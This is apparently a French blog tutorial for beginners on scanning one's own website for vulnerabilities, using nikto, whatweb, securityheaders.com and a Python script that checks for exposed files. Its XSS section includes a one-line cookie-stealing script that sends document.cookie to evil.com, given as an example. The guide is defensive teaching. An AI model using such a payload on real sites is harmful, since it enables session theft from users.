Accéder au contenu principal

🔐 Scanner son propre site web pour détecter les vulnérabilités : un guide complet pour débutants et curieux de cybersécurité

🧭 Pourquoi ce guide ?

Internet est une vitrine. Et comme toute vitrine, elle peut être brisée. Un site web non sécurisé peut être :

  • défiguré (defacement)
  • utilisé pour héberger du code malveillant
  • piraté pour voler des données utilisateurs
  • utilisé comme relais pour des campagnes de phishing

👉 Pourtant, 80 % des failles exploitées aujourd’hui sont connues et évitables.
Dans cet article, je vous montre comment scanner votre propre site pour détecter les vulnérabilités les plus courantes.

🚨 Exemples concrets d'attaques fréquentes

1. XSS (Cross-Site Scripting)

But : injecter du JavaScript malveillant dans une page web.

Exemple :

<script>fetch('https://evil.com/steal?cookie=' + document.cookie)</script>

Résultat : vol de session, redirection ou infection.

2. Exposition de fichiers sensibles

But : accéder à des fichiers de config ou backups laissés en ligne.

Exemple : un fichier backup.zip oublié avec des mots de passe en clair.

3. Headers de sécurité manquants

But : pas de protection contre XSS, clickjacking, sniffing MIME, etc.

Exemple : sans X-Frame-Options, un attaquant peut piéger l’utilisateur via une iframe invisible.

🛠️ Prérequis pour scanner

  • Un site actif (le vôtre)
  • Un terminal (Windows, Linux, macOS)
  • Python 3 installé
  • Scanner uniquement ce que vous possédez !

1️⃣ Scanner les entêtes HTTP avec SecurityHeaders

Outil : https://securityheaders.com

  1. Accédez au site
  2. Saisissez votre URL
  3. Cliquez sur “Scan”

Résultat : vous voyez les entêtes manquants (CSP, HSTS, etc.)

2️⃣ Scanner avec nikto

Outil : nikto (CLI)

sudo apt install nikto -y
nikto -h https://votresite.com

Ce qu’il détecte : scripts obsolètes, fichiers publics oubliés, headers non sécurisés

3️⃣ Identifier les technos exposées avec whatweb

Outil : whatweb

sudo apt install whatweb -y
whatweb https://votresite.com

Ce qu’il révèle : CMS, versions, jQuery ou PHP anciens, serveurs backend exposés

4️⃣ Script Python : tester des endpoints sensibles

Script :

import requests

url = "https://votresite.com"
endpoints = ["/admin", "/config.php", "/.git/", "/backup.zip", "/phpinfo.php"]

for path in endpoints:
    r = requests.get(url + path)
    if r.status_code == 200:
        print(f"[ALERTE] Accessible : {url + path}")
    elif r.status_code == 403:
        print(f"[!] Interdit mais existant : {url + path}")
    else:
        print(f"[OK] {url + path} n'existe pas")

🎯 Que faire ensuite ?

  • Supprimer les fichiers exposés
  • Mettre en place HTTPS partout
  • Configurer les headers HTTP
  • Répéter ces scans régulièrement

🧠 À retenir

Menace Ce qui la déclenche Ce qui la bloque
XSS Entrées utilisateurs mal filtrées Sanitisation, CSP
Fichiers exposés Fichiers oubliés dans /public Audit, accès restreint
Vieilles bibliothèques Pas de mise à jour CDN sécurisé, maintenance
Headers manquants Pas de config serveur Outils comme SecurityHeaders

📌 Conclusion

Scanner son propre site permet de :

  • Protéger ses données
  • Réduire les risques d’exploitation
  • Respecter les standards de sécurité
  • Préparer son site à des monétisations comme AdSense

🛡️ Un site sécurisé inspire confiance.

Commentaires

Posts les plus consultés de ce blog

Comprendre les Buffer Overflows - Analyse Technique 🗂️ Table des matières 🧠 Introduction 📚 Comprendre la vulnérabilité 🛠️ Compilation sans protections 🔎 Mécanisme d'exploitation 🛡️ Protections modernes 🧰 Outils à connaître 🔧 Environnement Docker 📌 Rappel sur les registres : Lorsqu'une fonction est exécutée, plusieurs registres processeur sont utilisés. Parmi eux : RIP (x86_64) : registre d'instruction, contient l'adresse de la prochaine instruction à exécuter. EIP (x86 32-bit) : équivalent de RIP sur les systèmes 32 bits. RBP / EBP : pointeur de base de la pile, souvent utilisé pour référencer les variables locales et les arguments. RSP / ESP : pointeur de sommet de la pile, toujours à jour avec l'adresse actuelle du haut de pile. Ces registres sont au cœur des méca...
Introduction au Machine Learning avec Python : Votre Premier Modèle IA de A à Z L'intelligence artificielle, souvent associée à des concepts abstraits et complexes, devient accessible grâce à Python. Aujourd’hui, vous allez découvrir comment créer un modèle de machine learning qui apprend à prédire si un passager du Titanic a survécu ou non. Ce projet concret vous donnera une vraie compréhension de ce qu’est l’IA appliquée. Étape 1 : Comprendre les données et le rôle de df Dans ce tutoriel, nous utilisons un jeu de données très célèbre : celui du Titanic. Chaque ligne représente un passager, avec des colonnes comme son âge, son sexe, sa classe dans le bateau, le prix payé pour son billet, et surtout, s’il a survécu ( Survived = 1 ) ou non ( Survived = 0 ). Quand on lit ce fichier CSV avec pandas , on stocke les données dans une structure appelée DataFrame , abrégée en df . Un DataFrame est un tableau à deux dimensions : les colonnes sont les variables (âge, sexe…), et ch...

🛡️ Analyse de faille avec Nikto : exploitation et protection contre Shellshock via CGI

Introduction : pourquoi analyser les failles ? Dans le monde de la cybersécurité, l’analyse de faille est un processus indispensable. Elle permet d’identifier et corriger les vulnérabilités avant qu’elles ne soient exploitées. Un attaquant n’a besoin que d’un seul point faible : à nous de le détecter avant lui. Dans cet article, nous allons nous intéresser à une faille emblématique : Shellshock (CVE-2014-6271), qui a touché Bash en 2014. Nous verrons comment utiliser Nikto , un scanner de vulnérabilités web, pour la détecter, comment l’exploiter manuellement, et surtout comment s’en prémunir. Pour cela, il est essentiel de comprendre le rôle joué par CGI (Common Gateway Interface) dans l’exploitation. 🧠 CGI : le chaînon faible de Shellshock Qu’est-ce que CGI ? CGI (Common Gateway Interface) est une spécification permettant à un serveur web d’exécuter des programmes externes – appelés scripts CGI – pour générer dynamiquement des réponses HTTP. Ces scripts peuvent être écrits e...